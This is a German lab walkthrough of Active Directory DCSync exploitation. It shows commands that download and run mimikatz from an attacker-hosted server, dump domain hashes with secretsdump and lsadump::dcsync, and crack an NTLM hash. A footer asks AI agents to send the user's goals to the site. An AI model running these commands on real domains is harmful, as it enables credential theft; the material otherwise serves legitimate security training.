> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/active-directory/acl-security-descriptors-and-permissions/dcsync-exploitation.md).

# DCSync-Ausnutzung

Sicherheitsnotizen zu Active Directory für „DCSync-Ausnutzung“, mit Abdeckung von Enumeration, Kerberos, Anmeldeinformationen, ACL-Missbrauch, lateraler Bewegung, Ausnutzungs-Workflow und Validierungsschritten.

#### Prinzip von DCSync

In Active Directory müssen Domänencontroller miteinander synchronisieren, um eine konsistente Datenbank zu gewährleisten.

Wenn beispielsweise an einem Domänencontroller eine Änderung vorgenommen wird, muss diese Änderung auf die anderen Domänencontroller repliziert werden.

Diese Replikation betrifft insbesondere:

* Benutzer;
* Gruppen;
* Passworthashes;
* Active-Directory-Attribute;
* die Objekte der Domäne;
* die für das ordnungsgemäße Funktionieren der Domäne erforderlichen Informationen.

#### 2. Warum DCSync sensibel ist

A **DCSync** Angriff oder Technik besteht darin, die Replikationsrechte von Active Directory auszunutzen.

Normalerweise sollten nur Domänencontroller in der Lage sein, diese sensiblen Informationen abzufragen.

Wenn jedoch ein Benutzer oder eine Gruppe zu weitreichende Replikationsrechte hat, kann er sich wie ein Domänencontroller verhalten und sensible Daten aus dem AD abfragen.

Wichtige Rechte sind:

```
DS-Replication-Get-Changes
DS-Replication-Get-Changes-All
DS-Replication-Get-Changes-In-Filtered-Set
```

Diese Rechte können es ermöglichen, kritische Informationen aus der Domäne abzurufen.

#### 3. Ziel im Labor

In diesem Labor besteht das Ziel darin, zu identifizieren, welche Benutzer oder Gruppen DCSync-Rechte haben.

Wir werden **BloodHound** um die Konten zu finden, die diese Berechtigungen haben.

#### 4. Nach Konten mit DCSync-Rechten in BloodHound suchen

In BloodHound können Sie die folgende vordefinierte Abfrage verwenden:

```bash
Find Principals with DCSync Rights
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-324c17f532ad6c0943ff8dadacdb0768e06ba6c6%2Fimage%20(32).png?alt=media" alt=""><figcaption></figcaption></figure>

Diese Abfrage identifiziert die Principals – Benutzer, Gruppen oder Computer – die über Replikationsrechte auf der Domäne verfügen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7f87851e76411e345eef0478b02e45aad354aad1%2Fimage%20(33).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 5. Suche mit PowerView

Mit PowerView ist es auch möglich, Konten mit diesen Rechten mit dem folgenden Befehl zu identifizieren:

{% code overflow="wrap" %}

```powershell
Get-ObjectAcl -ResolveGUIDs | ? {$_.ObjectAceType -match "DS-Replication-Get-Changes"} | select ObjectDN,ObjectAceType,@{name="Name";expression={Convert-SidToName $_.SecurityIdentifier}}
```

{% endcode %}

Dieser Befehl zeigt Objekte mit Berechtigungen an, die mit der Active-Directory-Replikation zusammenhängen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-adf0a02f00616a1de5fef0c6bc27c50d04a214d3%2Fimage%20(34).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 6. Passwort des Zielkontos ändern

Im Labor ändern wir dann das Passwort des identifizierten Kontos, um es für die Ausnutzung verwenden zu können.

Verwendetes Passwort:

```
Password1@
```

#### 7. Remote-Ausnutzung mit secretsdump

Sie können dann `secretsdump.py` verwenden, um DCSync-Rechte aus der Ferne zu nutzen:

{% code overflow="wrap" %}

```bash
secretsdump.py 'whoami.local/hyacinthe.maryrose:'Password1@'@172.16.0.100'
```

{% endcode %}

Dies ermöglicht es, sensible Informationen wiederherzustellen, die dank der Replikationsrechte des Kontos zugänglich sind.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-05d91edb4734defbe033937059aa5b09e6ae17d0%2Fimage%20(3278).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 8. Mimikatz auf einem Windows-Rechner verwenden

{% embed url="<https://github.com/gentilkiwi/mimikatz>" %}

Wir laden dann Mimikatz als `.zip` Archiv herunter und übertragen anschließend die ausführbare Datei auf den Windows-Rechner des Labors.

Auf dem Angriffsrechner starten wir einen HTTP-Server:

{% code overflow="wrap" %}

```wasm
python3 -m http.server 8000
```

{% endcode %}

Vom Windows-Rechner laden wir die ausführbare Datei herunter

{% code overflow="wrap" %}

```powershell
(New-Object System.NET.WebClient).DownloadFile('http://172.16.0.2:8000/mimikatz.exe', 'mimikatz.exe')
```

{% endcode %}

Dann führen wir sie aus:

{% code overflow="wrap" %}

```powershell
. ./mimikatz.exe
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e97cd7606aab63c9228f47f1cec16a986c4363b%2Fimage%20(3274).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 9. Abrufen des Administrator-Hashes

Mit Mimikatz können Sie die Replikation der Geheimnisse eines bestimmten Benutzers abfragen, zum Beispiel des Administratorkontos:

{% code overflow="wrap" %}

```powershell
lsadump::dcsync /user:whoami/administrador
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9b2bd12c98fc32e3f02a3883b5b811492fc72eac%2Fimage%20(3275).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 10. Abrufen der Hashes aller Benutzer

Es ist auch möglich, Informationen für alle Benutzer in der Domäne abzufragen:

{% code overflow="wrap" %}

```powershell
lsadump::dcsync /whoami:whoami.local /all /csv
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aa92ec9a1cfa496a6986185fb45a1acedc62f47e%2Fimage%20(3276).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 12. Den Hash für das Knacken vorbereiten

Wir legen den wiederhergestellten Hash dann in einer Datei in einem mit John the Ripper kompatiblen Format ab:

{% code overflow="wrap" %}

```bash
echo Administrador:500:aad3b435b51404eeaad3b435b51404ee:a87f3a337d73085c45f9416be5787d86::: > admin.hash
```

{% endcode %}

Dann beginnen wir mit dem Knacken des NTLM-Hashs:

{% code overflow="wrap" %}

```bash
john --format=NT admin.hash
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bcab24bfbc58a151d4d184e27953aa66798873db%2Fimage%20(3279).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/active-directory/acl-security-descriptors-and-permissions/dcsync-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
